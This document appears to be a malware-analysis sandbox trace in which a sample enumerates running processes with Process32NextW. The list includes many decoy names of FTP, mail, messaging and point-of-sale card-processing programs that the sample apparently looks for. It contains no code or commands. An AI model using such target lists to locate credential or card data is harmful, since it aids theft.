	[0245.738] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0245.741] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0245.744] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0245.844] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0245.847] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0245.850] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.853] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.856] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.860] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.863] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.866] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.869] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.872] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0245.875] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0245.878] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0245.881] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0245.884] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0247.291] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0247.606] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0247.609] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0247.612] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0247.615] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0247.617] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0247.630] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0247.633] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0247.636] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0247.639] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0247.642] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0247.646] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0247.649] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0248.563] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0248.566] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0248.568] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0248.571] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0248.574] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0248.576] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0248.578] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0248.581] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0248.583] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0248.587] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0248.593] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0248.595] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0248.597] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0248.599] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0249.112] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0249.114] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0249.117] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0249.119] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0249.122] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0249.124] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0249.127] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0249.129] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0249.131] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0249.134] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0249.136] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0249.139] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0249.141] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0249.143] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0249.146] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0249.579] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0249.582] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0249.585] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0249.587] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0249.590] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0249.594] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0249.596] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0249.599] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0249.602] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0249.605] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0249.608] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0249.614] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0250.050] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0250.052] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0250.055] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0250.057] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0250.060] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0250.062] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0250.065] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0250.067] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0250.070] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0250.072] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
